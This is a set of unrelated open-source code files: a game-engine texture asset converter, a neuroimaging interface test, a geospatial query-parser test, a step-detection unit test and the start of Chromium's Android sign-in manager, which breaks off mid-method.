temp.Format("{0}", ezArgU(uiHashLow32, 8, true, 16, true)); arguments << "-assetHashLow"; arguments << temp.GetData(); temp.Format("{0}", ezArgU(uiHashHigh32, 8, true, 16, true)); arguments << "-assetHashHigh"; arguments << temp.GetData(); } arguments << "-out"; arguments << szTargetFile; const ezStringBuilder sThumbnail = GetThumbnailFilePath(); if (bUpdateThumbnail) { // Thumbnail const ezStringBuilder sDir = sThumbnail.GetFileDirectory(); ezOSFile::CreateDirectoryStructure(sDir).IgnoreResult(); arguments << "-thumbnailRes"; arguments << "256"; arguments << "-thumbnailOut"; arguments << QString::fromUtf8(sThumbnail.GetData()); } // low resolution data { ezStringBuilder lowResPath = szTargetFile; ezStringBuilder name = lowResPath.GetFileName(); name.Append("-lowres"); lowResPath.ChangeFileName(name); arguments << "-lowMips"; arguments << "6"; arguments << "-lowOut"; arguments << QString::fromUtf8(lowResPath.GetData()); } arguments << "-mipmaps"; arguments << ToMipmapMode(pProp->m_MipmapMode); arguments << "-compression"; arguments << ToCompressionMode(pProp->m_CompressionMode); arguments << "-usage"; arguments << ToUsageMode(pProp->m_TextureUsage); if (pProp->m_bPremultipliedAlpha) arguments << "-premulalpha"; if (pProp->m_bDilateColor) { arguments << "-dilate"; // arguments << "8"; // default value } if (pProp->m_bFlipHorizontal) arguments << "-flip_horz"; if (pProp->m_bPreserveAlphaCoverage) { arguments << "-mipsPreserveCoverage"; arguments << "-mipsAlphaThreshold"; temp.Format("{0}", ezArgF(pProp->m_fAlphaThreshold, 2)); arguments << temp.GetData(); } if (pProp->m_TextureUsage == ezTexConvUsage::Hdr) { arguments << "-hdrExposure"; temp.Format("{0}", ezArgF(pProp->m_fHdrExposureBias, 2)); arguments << temp.GetData(); } arguments << "-maxRes" << QString::number(pAssetConfig->m_uiMaxResolution); arguments << "-addressU" << ToWrapMode(pProp->m_AddressModeU); arguments << "-addressV" << ToWrapMode(pProp->m_AddressModeV); arguments << "-addressW" << ToWrapMode(pProp->m_AddressModeW); arguments << "-filter" << ToFilterMode(pProp->m_TextureFilter); const ezInt32 iNumInputFiles = pProp->GetNumInputFiles(); for (ezInt32 i = 0; i < iNumInputFiles; ++i) { temp.Format("-in{0}", i); if (ezStringUtils::IsNullOrEmpty(pProp->GetInputFile(i))) break; arguments << temp.GetData(); arguments << QString(pProp->GetAbsoluteInputFilePath(i).GetData()); } switch (pProp->GetChannelMapping()) { case ezTexture2DChannelMappingEnum::R1: { arguments << "-r"; arguments << "in0.r"; // always linear } break; case ezTexture2DChannelMappingEnum::RG1: { arguments << "-rg"; arguments << "in0.rg"; // always linear } break; case ezTexture2DChannelMappingEnum::R1_G2: { arguments << "-r"; arguments << "in0.r"; arguments << "-g"; arguments << "in1.g"; // always linear } break; case ezTexture2DChannelMappingEnum::RGB1: { arguments << "-rgb"; arguments << "in0.rgb"; } break; case ezTexture2DChannelMappingEnum::RGB1_ABLACK: { arguments << "-rgb"; arguments << "in0.rgb"; arguments << "-a"; arguments << "black"; } break; case ezTexture2DChannelMappingEnum::R1_G2_B3: { arguments << "-r"; arguments << "in0.r"; arguments << "-g"; arguments << "in1.r"; arguments << "-b"; arguments << "in2.r"; } break; case ezTexture2DChannelMappingEnum::RGBA1: { arguments << "-rgba"; arguments << "in0.rgba"; } break; case ezTexture2DChannelMappingEnum::RGB1_A2: { arguments << "-rgb"; arguments << "in0.rgb"; arguments << "-a"; arguments << "in1.r"; } break; case ezTexture2DChannelMappingEnum::R1_G2_B3_A4: { arguments << "-r"; arguments << "in0.r"; arguments << "-g"; arguments << "in1.r"; arguments << "-b"; arguments << "in2.r"; arguments << "-a"; arguments << "in3.r"; } break; } EZ_SUCCEED_OR_RETURN(ezQtEditorApp::GetSingleton()->ExecuteTool("TexConv.exe", arguments, 180, ezLog::GetThreadLocalLogSystem())); if (bUpdateThumbnail) { ezUInt64 uiThumbnailHash = ezAssetCurator::GetSingleton()->GetAssetReferenceHash(GetGuid()); EZ_ASSERT_DEV(uiThumbnailHash != 0, "Thumbnail hash should never be zero when reaching this point!"); ThumbnailInfo thumbnailInfo; thumbnailInfo.SetFileHashAndVersion(uiThumbnailHash, GetAssetTypeVersion()); AppendThumbnailInfo(sThumbnail, thumbnailInfo); InvalidateAssetThumbnail(); } return ezStatus(EZ_SUCCESS); } void ezTextureAssetDocument::UpdateAssetDocumentInfo(ezAssetDocumentInfo* pInfo) const { SUPER::UpdateAssetDocumentInfo(pInfo); for (ezUInt32 i = GetProperties()->GetNumInputFiles(); i < 4; ++i) { // remove unused dependencies pInfo->m_AssetTransformDependencies.Remove(GetProperties()->GetInputFile(i)); } } void ezTextureAssetDocument::InitializeAfterLoading(bool bFirstTimeCreation) { SUPER::InitializeAfterLoading(bFirstTimeCreation); if (m_bIsRenderTarget) { if (GetProperties()->m_bIsRenderTarget == false) { GetCommandHistory()->StartTransaction("MakeRenderTarget"); GetObjectAccessor()->SetValue(GetPropertyObject(), "IsRenderTarget", true); GetCommandHistory()->FinishTransaction(); GetCommandHistory()->ClearUndoHistory(); } } } ezStatus ezTextureAssetDocument::InternalTransformAsset(const char* szTargetFile, const char* szOutputTag, const ezPlatformProfile* pAssetProfile, const ezAssetFileHeader& AssetHeader, ezBitflags<ezTransformFlags> transformFlags) { // EZ_ASSERT_DEV(ezStringUtils::IsEqual(szPlatform, "PC"), "Platform '{0}' is not supported", szPlatform); const auto* pAssetConfig = pAssetProfile->GetTypeConfig<ezTextureAssetProfileConfig>(); const auto props = GetProperties(); if (m_bIsRenderTarget) { ezDeferredFileWriter file; file.SetOutput(szTargetFile); EZ_SUCCEED_OR_RETURN(AssetHeader.Write(file)); // TODO: move this into a shared location, reuse in ezTexConv::WriteTexHeader const ezUInt8 uiTexFileFormatVersion = 5; file << uiTexFileFormatVersion; ezGALResourceFormat::Enum format = ezGALResourceFormat::Invalid; bool bIsSRGB = false; switch (props->m_RtFormat) { case ezRenderTargetFormat::RGBA8: format = ezGALResourceFormat::RGBAUByteNormalized; break; case ezRenderTargetFormat::RGBA8sRgb: format = ezGALResourceFormat::RGBAUByteNormalizedsRGB; bIsSRGB = true; break; case ezRenderTargetFormat::RGB10: format = ezGALResourceFormat::RG11B10Float; break; case ezRenderTargetFormat::RGBA16: format = ezGALResourceFormat::RGBAHalf; break; } file << bIsSRGB; file << (ezUInt8)props->m_AddressModeU; file << (ezUInt8)props->m_AddressModeV; file << (ezUInt8)props->m_AddressModeW; file << (ezUInt8)props->m_TextureFilter; ezInt16 resX = 0, resY = 0; switch (props->m_Resolution) { case ezTexture2DResolution::Fixed64x64: resX = 64; resY = 64; break; case ezTexture2DResolution::Fixed128x128: resX = 128; resY = 128; break; case ezTexture2DResolution::Fixed256x256: resX = 256; resY = 256; break; case ezTexture2DResolution::Fixed512x512: resX = 512; resY = 512; break; case ezTexture2DResolution::Fixed1024x1024: resX = 1024; resY = 1024; break; case ezTexture2DResolution::Fixed2048x2048: resX = 2048; resY = 2048; break; case ezTexture2DResolution::CVarRtResolution1: resX = -1; resY = 1; break; case ezTexture2DResolution::CVarRtResolution2: resX = -1; resY = 2; break; default: EZ_ASSERT_NOT_IMPLEMENTED; } file << resX; file << resY; file << props->m_fCVarResolutionScale; file << (int)format; if (file.Close().Failed()) return ezStatus(ezFmt("Writing to target file failed: '{0}'", szTargetFile)); return ezStatus(EZ_SUCCESS); } else { const bool bUpdateThumbnail = pAssetProfile == ezAssetCurator::GetSingleton()->GetDevelopmentAssetProfile(); ezStatus result = RunTexConv(szTargetFile, AssetHeader, bUpdateThumbnail, pAssetConfig); ezFileStats stat; if (ezOSFile::GetFileStats(szTargetFile, stat).Succeeded() && stat.m_uiFileSize == 0) { // if the file was touched, but nothing written to it, delete the file // might happen if TexConv crashed or had an error ezOSFile::DeleteFile(szTargetFile).IgnoreResult(); result.m_Result = EZ_FAILURE; } return result; } } ////////////////////////////////////////////////////////////////////////// EZ_BEGIN_DYNAMIC_REFLECTED_TYPE(ezTextureAssetDocumentGenerator, 1, ezRTTIDefaultAllocator<ezTextureAssetDocumentGenerator>) EZ_END_DYNAMIC_REFLECTED_TYPE; enum class TextureType { Unknown, Diffuse, Normal, Roughness, AO, Metalness, Height, HDR, Linear, }; ezTextureAssetDocumentGenerator::ezTextureAssetDocumentGenerator() { AddSupportedFileType("tga"); AddSupportedFileType("dds"); AddSupportedFileType("jpg"); AddSupportedFileType("jpeg"); AddSupportedFileType("hdr"); AddSupportedFileType("png"); } ezTextureAssetDocumentGenerator::~ezTextureAssetDocumentGenerator() = default; void ezTextureAssetDocumentGenerator::GetImportModes(const char* szParentDirRelativePath, ezHybridArray<ezAssetDocumentGenerator::Info, 4>& out_Modes) const { ezStringBuilder baseOutputFile = szParentDirRelativePath; const ezStringBuilder baseFilename = baseOutputFile.GetFileName(); baseOutputFile.ChangeFileExtension(GetDocumentExtension()); TextureType tt = TextureType::Unknown; if (ezPathUtils::HasExtension(szParentDirRelativePath, "hdr")) { tt = TextureType::HDR; } else if (baseFilename.EndsWith_NoCase("_d") || baseFilename.EndsWith_NoCase("diffuse") || baseFilename.EndsWith_NoCase("diff") || baseFilename.EndsWith_NoCase("col") || baseFilename.EndsWith_NoCase("color")) { tt = TextureType::Diffuse; } else if (baseFilename.EndsWith_NoCase("_n") || baseFilename.EndsWith_NoCase("normal") || baseFilename.EndsWith_NoCase("normals") || baseFilename.EndsWith_NoCase("nrm") || baseFilename.EndsWith_NoCase("norm")) { tt = TextureType::Normal; } else if (baseFilename.EndsWith_NoCase("_rough") || baseFilename.EndsWith_NoCase("roughness") || baseFilename.EndsWith_NoCase("_rgh")) { tt = TextureType::Roughness; } else if (baseFilename.EndsWith_NoCase("_ao")) { tt = TextureType::AO; } else if (baseFilename.EndsWith_NoCase("_height") || baseFilename.EndsWith_NoCase("_disp")) { tt = TextureType::Height; } else if (baseFilename.EndsWith_NoCase("_metal") || baseFilename.EndsWith_NoCase("_met") || baseFilename.EndsWith_NoCase("metallic") || baseFilename.EndsWith_NoCase("metalness")) { tt = TextureType::Metalness; } else if (baseFilename.EndsWith_NoCase("_alpha")) { tt = TextureType::Linear; } ezAssetDocumentGenerator::Info& info = out_Modes.ExpandAndGetRef(); info.m_Priority = ezAssetDocGeneratorPriority::DefaultPriority; info.m_sOutputFileParentRelative = baseOutputFile; switch (tt) { case TextureType::Diffuse: { info.m_sName = "TextureImport.Diffuse"; info.m_sIcon = ":/AssetIcons/Texture_2D.png"; break; } case TextureType::Normal: { info.m_sName = "TextureImport.Normal"; info.m_sIcon = ":/AssetIcons/Texture_Normals.png"; break; } case TextureType::Roughness: { info.m_sName = "TextureImport.Roughness"; info.m_sIcon = ":/AssetIcons/Texture_Linear.png"; break; } case TextureType::AO: { info.m_sName = "TextureImport.AO"; info.m_sIcon = ":/AssetIcons/Texture_Linear.png"; break; } case TextureType::Metalness: { info.m_sName = "TextureImport.Metalness"; info.m_sIcon = ":/AssetIcons/Texture_Linear.png"; break; } case TextureType::Height: { info.m_sName = "TextureImport.Height"; info.m_sIcon = ":/AssetIcons/Texture_Linear.png"; break; } case TextureType::HDR: { info.m_sName = "TextureImport.HDR"; info.m_sIcon = ":/AssetIcons/Texture_2D.png"; break; } case TextureType::Linear: { info.m_sName = "TextureImport.Linear"; info.m_sIcon = ":/AssetIcons/Texture_Linear.png"; break; } case TextureType::Unknown: { break; } } if (tt != TextureType::Diffuse) { ezAssetDocumentGenerator::Info& info = out_Modes.ExpandAndGetRef(); info.m_Priority = ezAssetDocGeneratorPriority::LowPriority; info.m_sOutputFileParentRelative = baseOutputFile; info.m_sName = "TextureImport.Diffuse"; info.m_sIcon = ":/AssetIcons/Texture_2D.png"; } if (tt != TextureType::Linear) { ezAssetDocumentGenerator::Info& info = out_Modes.ExpandAndGetRef(); info.m_Priority = ezAssetDocGeneratorPriority::LowPriority; info.m_sOutputFileParentRelative = baseOutputFile; info.m_sName = "TextureImport.Linear"; info.m_sIcon = ":/AssetIcons/Texture_Linear.png"; } if (tt != TextureType::Normal) { ezAssetDocumentGenerator::Info& info = out_Modes.ExpandAndGetRef(); info.m_Priority = ezAssetDocGeneratorPriority::LowPriority; info.m_sOutputFileParentRelative = baseOutputFile; info.m_sName = "TextureImport.Normal"; info.m_sIcon = ":/AssetIcons/Texture_Normals.png"; } if (tt != TextureType::Metalness) { ezAssetDocumentGenerator::Info& info = out_Modes.ExpandAndGetRef(); info.m_Priority = ezAssetDocGeneratorPriority::LowPriority; info.m_sOutputFileParentRelative = baseOutputFile; info.m_sName = "TextureImport.Metalness"; info.m_sIcon = ":/AssetIcons/Texture_Linear.png"; } if (tt != TextureType::Roughness) { ezAssetDocumentGenerator::Info& info = out_Modes.ExpandAndGetRef(); info.m_Priority = ezAssetDocGeneratorPriority::LowPriority; info.m_sOutputFileParentRelative = baseOutputFile; info.m_sName = "TextureImport.Roughness"; info.m_sIcon = ":/AssetIcons/Texture_Linear.png"; } if (tt != TextureType::AO) { ezAssetDocumentGenerator::Info& info = out_Modes.ExpandAndGetRef(); info.m_Priority = ezAssetDocGeneratorPriority::LowPriority; info.m_sOutputFileParentRelative = baseOutputFile; info.m_sName = "TextureImport.AO"; info.m_sIcon = ":/AssetIcons/Texture_Linear.png"; } if (tt != TextureType::Height) { ezAssetDocumentGenerator::Info& info = out_Modes.ExpandAndGetRef(); info.m_Priority = ezAssetDocGeneratorPriority::LowPriority; info.m_sOutputFileParentRelative = baseOutputFile; info.m_sName = "TextureImport.Height"; info.m_sIcon = ":/AssetIcons/Texture_Linear.png"; } } ezStatus ezTextureAssetDocumentGenerator::Generate(const char* szDataDirRelativePath, const ezAssetDocumentGenerator::Info& info, ezDocument*& out_pGeneratedDocument) { auto pApp = ezQtEditorApp::GetSingleton(); out_pGeneratedDocument = pApp->CreateDocument(info.m_sOutputFileAbsolute, ezDocumentFlags::None); if (out_pGeneratedDocument == nullptr) return ezStatus("Could not create target document"); ezTextureAssetDocument* pAssetDoc = ezDynamicCast<ezTextureAssetDocument*>(out_pGeneratedDocument); if (pAssetDoc == nullptr) return ezStatus("Target document is not a valid ezTextureAssetDocument"); auto& accessor = pAssetDoc->GetPropertyObject()->GetTypeAccessor(); accessor.SetValue("Input1", szDataDirRelativePath); accessor.SetValue("ChannelMapping", (int)ezTexture2DChannelMappingEnum::RGB1); accessor.SetValue("Usage", (int)ezTexConvUsage::Linear); if (info.m_sName == "TextureImport.Diffuse") { accessor.SetValue("Usage", (int)ezTexConvUsage::Color); } else if (info.m_sName == "TextureImport.Normal") { accessor.SetValue("Usage", (int)ezTexConvUsage::NormalMap); } else if (info.m_sName == "TextureImport.HDR") { accessor.SetValue("Usage", (int)ezTexConvUsage::Hdr); } else if (info.m_sName == "TextureImport.Linear") { } else if (info.m_sName == "TextureImport.AO") { accessor.SetValue("ChannelMapping", (int)ezTexture2DChannelMappingEnum::R1); accessor.SetValue("TextureFilter", (int)ezTextureFilterSetting::LowestQuality); } else if (info.m_sName == "TextureImport.Height") { accessor.SetValue("ChannelMapping", (int)ezTexture2DChannelMappingEnum::R1); accessor.SetValue("TextureFilter", (int)ezTextureFilterSetting::LowQuality); } else if (info.m_sName == "TextureImport.Roughness") { accessor.SetValue("ChannelMapping", (int)ezTexture2DChannelMappingEnum::R1); accessor.SetValue("TextureFilter", (int)ezTextureFilterSetting::LowQuality); } else if (info.m_sName == "TextureImport.Metalness") { accessor.SetValue("ChannelMapping", (int)ezTexture2DChannelMappingEnum::R1); accessor.SetValue("TextureFilter", (int)ezTextureFilterSetting::LowQuality); } return ezStatus(EZ_SUCCESS); }
9,606
585
# AUTO-GENERATED by tools/checkspecs.py - DO NOT EDIT from ..dti import ProbTrackX def test_ProbTrackX_inputs(): input_map = dict( args=dict( argstr="%s", ), avoid_mp=dict( argstr="--avoid=%s", extensions=None, ), c_thresh=dict( argstr="--cthr=%.3f", ), correct_path_distribution=dict( argstr="--pd", ), dist_thresh=dict( argstr="--distthresh=%.3f", ), environ=dict( nohash=True, usedefault=True, ), fibst=dict( argstr="--fibst=%d", ), force_dir=dict( argstr="--forcedir", usedefault=True, ), fsamples=dict( mandatory=True, ), inv_xfm=dict( argstr="--invxfm=%s", extensions=None, ), loop_check=dict( argstr="--loopcheck", ), mask=dict( argstr="-m %s", extensions=None, mandatory=True, ), mask2=dict( argstr="--mask2=%s", extensions=None, ), mesh=dict( argstr="--mesh=%s", extensions=None, ), mod_euler=dict( argstr="--modeuler", ), mode=dict( argstr="--mode=%s", genfile=True, ), n_samples=dict( argstr="--nsamples=%d", usedefault=True, ), n_steps=dict( argstr="--nsteps=%d", ), network=dict( argstr="--network", ), opd=dict( argstr="--opd", usedefault=True, ), os2t=dict( argstr="--os2t", ), out_dir=dict( argstr="--dir=%s", genfile=True, ), output_type=dict(), phsamples=dict( mandatory=True, ), rand_fib=dict( argstr="--randfib=%d", ), random_seed=dict( argstr="--rseed", ), s2tastext=dict( argstr="--s2tastext", ), sample_random_points=dict( argstr="--sampvox", ), samples_base_name=dict( argstr="--samples=%s", usedefault=True, ), seed=dict( argstr="--seed=%s", mandatory=True, ), seed_ref=dict( argstr="--seedref=%s", extensions=None, ), step_length=dict( argstr="--steplength=%.3f", ), stop_mask=dict( argstr="--stop=%s", extensions=None, ), target_masks=dict( argstr="--targetmasks=%s", ), thsamples=dict( mandatory=True, ), use_anisotropy=dict( argstr="--usef", ), verbose=dict( argstr="--verbose=%d", ), waypoints=dict( argstr="--waypoints=%s", extensions=None, ), xfm=dict( argstr="--xfm=%s", extensions=None, ), ) inputs = ProbTrackX.input_spec() for key, metadata in list(input_map.items()): for metakey, value in list(metadata.items()): assert getattr(inputs.traits()[key], metakey) == value def test_ProbTrackX_outputs(): output_map = dict( fdt_paths=dict(), log=dict( extensions=None, ), particle_files=dict(), targets=dict(), way_total=dict( extensions=None, ), ) outputs = ProbTrackX.output_spec() for key, metadata in list(output_map.items()): for metakey, value in list(metadata.items()): assert getattr(outputs.traits()[key], metakey) == value
2,342
435
package datawave.query.jexl.functions; import datawave.query.language.parser.jexl.LuceneToJexlQueryParser; import datawave.query.language.tree.QueryNode; import org.junit.Assert; import org.junit.Test; public class GeoWaveFunctionsTest { @Test public void testLuceneToJexlConversion() throws Exception { LuceneToJexlQueryParser parser = new LuceneToJexlQueryParser(); QueryNode node = null; node = parser.parse("#CONTAINS(FIELD, 'POINT(10 20)')"); Assert.assertEquals("geowave:contains(FIELD, 'POINT(10 20)')", node.getOriginalQuery()); node = parser.parse("#COVERS(FIELD, 'POINT(10 20)')"); Assert.assertEquals("geowave:covers(FIELD, 'POINT(10 20)')", node.getOriginalQuery()); node = parser.parse("#COVERED_BY(FIELD, 'POINT(10 20)')"); Assert.assertEquals("geowave:covered_by(FIELD, 'POINT(10 20)')", node.getOriginalQuery()); node = parser.parse("#CROSSES(FIELD, 'POINT(10 20)')"); Assert.assertEquals("geowave:crosses(FIELD, 'POINT(10 20)')", node.getOriginalQuery()); node = parser.parse("#INTERSECTS(FIELD, 'POINT(10 20)')"); Assert.assertEquals("geowave:intersects(FIELD, 'POINT(10 20)')", node.getOriginalQuery()); node = parser.parse("#OVERLAPS(FIELD, 'POINT(10 20)')"); Assert.assertEquals("geowave:overlaps(FIELD, 'POINT(10 20)')", node.getOriginalQuery()); node = parser.parse("#WITHIN(FIELD, 'POINT(10 20)')"); Assert.assertEquals("geowave:within(FIELD, 'POINT(10 20)')", node.getOriginalQuery()); } }
723
880
<gh_stars>100-1000 /* * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */ #include <chrono> #include <random> #include <glog/logging.h> #include <gtest/gtest.h> #include <openr/common/StepDetector.h> #include <openr/config/Config.h> namespace { // const for constructing StepDetectorConfig const uint64_t FAST_WINDOW_SIZE = 10; const uint64_t SLOW_WINDOW_SIZE = 30; const uint32_t LOWER_THRESHOLD = 2; const uint32_t UPPER_THRESHOLD = 10; const uint64_t ABS_THRESHOLD = 5; // generate specified number of samples from a given Guassian distribution std::vector<double> genGaussianSamples(double mean, double stddev, size_t numOfSamples) { std::normal_distribution<double> distribution(mean, stddev); std::default_random_engine generator; auto roll = std::bind(distribution, generator); std::vector<double> res(numOfSamples, 0); for (size_t i = 0; i < numOfSamples; ++i) { res[i] = roll(); } return res; } openr::thrift::StepDetectorConfig getTestConfig() { // generate a config for testing openr::thrift::StepDetectorConfig stepDetectorConfig; stepDetectorConfig.fast_window_size_ref() = FAST_WINDOW_SIZE; stepDetectorConfig.slow_window_size_ref() = SLOW_WINDOW_SIZE; stepDetectorConfig.lower_threshold_ref() = LOWER_THRESHOLD; stepDetectorConfig.upper_threshold_ref() = UPPER_THRESHOLD; stepDetectorConfig.ads_threshold_ref() = ABS_THRESHOLD; return stepDetectorConfig; } } // namespace // time series consists of large jumps TEST(StepDetectorTest, LargeStep) { uint32_t changeCount = 0; uint32_t timeStamp = 0; double expectedAvg = 0.0; // sampled mean can still be more than delta away from population mean // but the probability is so small we regard it would not happen in testing double delta = 1.0; auto stepCb = [&](const double& avg) { ++changeCount; LOG(INFO) << expectedAvg << " vs " << avg; EXPECT_GE(avg, expectedAvg - delta); EXPECT_LE(avg, expectedAvg + delta); }; openr::StepDetector<double, std::chrono::seconds> stepDetector( getTestConfig(), std::chrono::seconds(1) /* sampling period */, stepCb /* callback function */); { // stable mean w/o step expectedAvg = 100; auto samples = genGaussianSamples(expectedAvg, 1, 50); for (auto sample : samples) { stepDetector.addValue(std::chrono::seconds(timeStamp++), sample); } EXPECT_EQ(0, changeCount); } { // mean increase expectedAvg += 50; auto samples = genGaussianSamples(expectedAvg, 1, 50); for (auto sample : samples) { stepDetector.addValue(std::chrono::seconds(timeStamp++), sample); } EXPECT_EQ(1, changeCount); } { // another mean increase expectedAvg += 50; auto samples = genGaussianSamples(expectedAvg, 1, 50); for (auto sample : samples) { stepDetector.addValue(std::chrono::seconds(timeStamp++), sample); } EXPECT_EQ(2, changeCount); } { // mean decrease expectedAvg -= 100; auto samples = genGaussianSamples(expectedAvg, 1, 50); for (auto sample : samples) { stepDetector.addValue(std::chrono::seconds(timeStamp++), sample); } EXPECT_EQ(3, changeCount); } } // time series consists of gradual small changes TEST(StepDetectorTest, SlowBoiling) { uint32_t changeCount = 0; uint32_t timeStamp = 0; double expectedAvg = 0.0; // sampled mean can still be more than delta away from population mean // but the probability is so small we regard it would not happen in testing double delta = 1.0; auto stepCb = [&](const double& avg) { ++changeCount; LOG(INFO) << expectedAvg << " vs " << avg; EXPECT_GE(avg, expectedAvg - delta); EXPECT_LE(avg, expectedAvg + delta); }; openr::StepDetector<double, std::chrono::seconds> stepDetector( getTestConfig(), std::chrono::seconds(1) /* sampling period */, stepCb /* callback function */ ); { // stable mean w/o step expectedAvg = 100; auto samples = genGaussianSamples(expectedAvg, 1, 50); for (auto sample : samples) { stepDetector.addValue(std::chrono::seconds(timeStamp++), sample); } EXPECT_EQ(0, changeCount); } { // small mean change not regarded as a step expectedAvg += 2; auto samples = genGaussianSamples(expectedAvg, 1, 50); for (auto sample : samples) { stepDetector.addValue(std::chrono::seconds(timeStamp++), sample); } EXPECT_EQ(0, changeCount); } { // small mean change not regarded as a step expectedAvg += 2; auto samples = genGaussianSamples(expectedAvg, 1, 50); for (auto sample : samples) { stepDetector.addValue(std::chrono::seconds(timeStamp++), sample); } EXPECT_EQ(0, changeCount); } { // small mean change but accumulative change of 6 exceeds threshold 5 expectedAvg += 2; auto samples = genGaussianSamples(expectedAvg, 1, 50); for (auto sample : samples) { stepDetector.addValue(std::chrono::seconds(timeStamp++), sample); } EXPECT_EQ(1, changeCount); } } int main(int argc, char* argv[]) { // Parse command line flags testing::InitGoogleTest(&argc, argv); gflags::ParseCommandLineFlags(&argc, &argv, true); google::InitGoogleLogging(argv[0]); google::InstallFailureSignalHandler(); // Run the tests return RUN_ALL_TESTS(); }
1,973
575
// Copyright 2013 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. package org.chromium.chrome.browser.signin; import android.accounts.Account; import androidx.annotation.MainThread; import androidx.annotation.Nullable; import androidx.annotation.VisibleForTesting; import org.chromium.base.ApiCompatibilityUtils; import org.chromium.base.Callback; import org.chromium.base.ContextUtils; import org.chromium.base.Log; import org.chromium.base.ObserverList; import org.chromium.base.ThreadUtils; import org.chromium.base.annotations.CalledByNative; import org.chromium.base.annotations.NativeMethods; import org.chromium.base.metrics.RecordHistogram; import org.chromium.base.metrics.RecordUserAction; import org.chromium.base.task.PostTask; import org.chromium.chrome.browser.flags.ChromeFeatureList; import org.chromium.chrome.browser.signin.services.SigninManager; import org.chromium.chrome.browser.signin.services.SigninPreferencesManager; import org.chromium.chrome.browser.sync.AndroidSyncSettings; import org.chromium.chrome.browser.sync.ProfileSyncService; import org.chromium.components.externalauth.ExternalAuthUtils; import org.chromium.components.signin.AccountTrackerService; import org.chromium.components.signin.AccountUtils; import org.chromium.components.signin.base.CoreAccountInfo; import org.chromium.components.signin.identitymanager.AccountInfoService; import org.chromium.components.signin.identitymanager.ConsentLevel; import org.chromium.components.signin.identitymanager.IdentityManager; import org.chromium.components.signin.identitymanager.IdentityMutator; import org.chromium.components.signin.identitymanager.PrimaryAccountChangeEvent; import org.chromium.components.signin.metrics.SigninAccessPoint; import org.chromium.components.signin.metrics.SigninReason; import org.chromium.components.signin.metrics.SignoutDelete; import org.chromium.components.signin.metrics.SignoutReason; import org.chromium.content_public.browser.UiThreadTaskTraits; import java.util.ArrayList; import java.util.List; /** * Android wrapper of the SigninManager which provides access from the Java layer. * <p/> * This class handles common paths during the sign-in and sign-out flows. * <p/> * Only usable from the UI thread as the native SigninManager requires its access to be in the * UI thread. * <p/> * See chrome/browser/android/signin/signin_manager_android.h for more details. */ class SigninManagerImpl implements IdentityManager.Observer, AccountTrackerService.Observer, SigninManager { private static final String TAG = "SigninManager"; /** * Address of the native Signin Manager android. * This is not final, as destroy() updates this. */ private long mNativeSigninManagerAndroid; private final AccountTrackerService mAccountTrackerService; private final IdentityManager mIdentityManager; private final IdentityMutator mIdentityMutator; private final AndroidSyncSettings mAndroidSyncSettings; private final ExternalAuthUtils mExternalAuthUtils; private final ObserverList<SignInStateObserver> mSignInStateObservers = new ObserverList<>(); private final ObserverList<SignInAllowedObserver> mSignInAllowedObservers = new ObserverList<>(); private List<Runnable> mCallbacksWaitingForPendingOperation = new ArrayList<>(); private boolean mSigninAllowedByPolicy; /** * Tracks whether the First Run check has been completed. * * A new sign-in can not be started while this is pending, to prevent the * pending check from eventually starting a 2nd sign-in. */ private boolean mFirstRunCheckIsPending = true; /** * Will be set during the sign in process, and nulled out when there is not a pending sign in. * Needs to be null checked after ever async entry point because it can be nulled out at any * time by system accounts changing. */ private @Nullable SignInState mSignInState; /** * Set during sign-out process and nulled out once complete. Helps to atomically gather/clear * various sign-out state. */ private @Nullable SignOutState mSignOutState; /** * Called by native to create an instance of SigninManager. * @param nativeSigninManagerAndroid A pointer to native's SigninManagerAndroid. */ @CalledByNative @VisibleForTesting static SigninManager create(long nativeSigninManagerAndroid, AccountTrackerService accountTrackerService, IdentityManager identityManager, IdentityMutator identityMutator) { assert nativeSigninManagerAndroid != 0; assert accountTrackerService != null; assert identityManager != null; assert identityMutator != null; final SigninManagerImpl signinManager = new SigninManagerImpl(nativeSigninManagerAndroid, accountTrackerService, identityManager, identityMutator, AndroidSyncSettings.get(), ExternalAuthUtils.getInstance()); identityManager.addObserver(signinManager); AccountInfoService.init(identityManager); accountTrackerService.addObserver(signinManager); identityMutator.reloadAllAccountsFromSystemWithPrimaryAccount(CoreAccountInfo.getIdFrom( identityManager.getPrimaryAccountInfo(ConsentLevel.SIGNIN))); signinManager.maybeRollbackMobileIdentityConsistency(); return signinManager; } private SigninManagerImpl(long nativeSigninManagerAndroid, AccountTrackerService accountTrackerService, IdentityManager identityManager, IdentityMutator identityMutator, AndroidSyncSettings androidSyncSettings, ExternalAuthUtils externalAuthUtils) { ThreadUtils.assertOnUiThread(); assert androidSyncSettings != null; mNativeSigninManagerAndroid = nativeSigninManagerAndroid; mAccountTrackerService = accountTrackerService; mIdentityManager = identityManager; mIdentityMutator = identityMutator; mAndroidSyncSettings = androidSyncSettings; mExternalAuthUtils = externalAuthUtils; mSigninAllowedByPolicy = SigninManagerImplJni.get().isSigninAllowedByPolicy(mNativeSigninManagerAndroid); } /** * Triggered during SigninManagerAndroidWrapper's KeyedService::Shutdown. * Drop references with external services and native. */ @VisibleForTesting @CalledByNative void destroy() { mAccountTrackerService.removeObserver(this); AccountInfoService.get().destroy(); mIdentityManager.removeObserver(this); mNativeSigninManagerAndroid = 0; } /** * Temporary code to handle rollback for {@link ChromeFeatureList#MOBILE_IDENTITY_CONSISTENCY}. * TODO(https://crbug.com/1065029): Remove when the flag is removed. */ private void maybeRollbackMobileIdentityConsistency() { if (ChromeFeatureList.isEnabled(ChromeFeatureList.MOBILE_IDENTITY_CONSISTENCY)) return; // Nothing to do if there's no primary account. if (mIdentityManager.getPrimaryAccountInfo(ConsentLevel.SIGNIN) == null) return; // Nothing to do if sync is on - this state existed before MobileIdentityConsistency. if (mIdentityManager.getPrimaryAccountInfo(ConsentLevel.SYNC) != null) return; Log.w(TAG, "Rolling back MobileIdentityConsistency: signing out."); signOut(SignoutReason.MOBILE_IDENTITY_CONSISTENCY_ROLLBACK); // Since AccountReconcilor currently operates in pre-MICE mode, it doesn't react to // primary account changes when there's no sync consent. Log-out web accounts manually. SigninManagerImplJni.get().logOutAllAccountsForMobileIdentityConsistencyRollback( mNativeSigninManagerAndroid); } /** * Implements {@link AccountTrackerService.Observer}. */ @Override public void onAccountsSeeded(List<CoreAccountInfo> accountInfos) { if 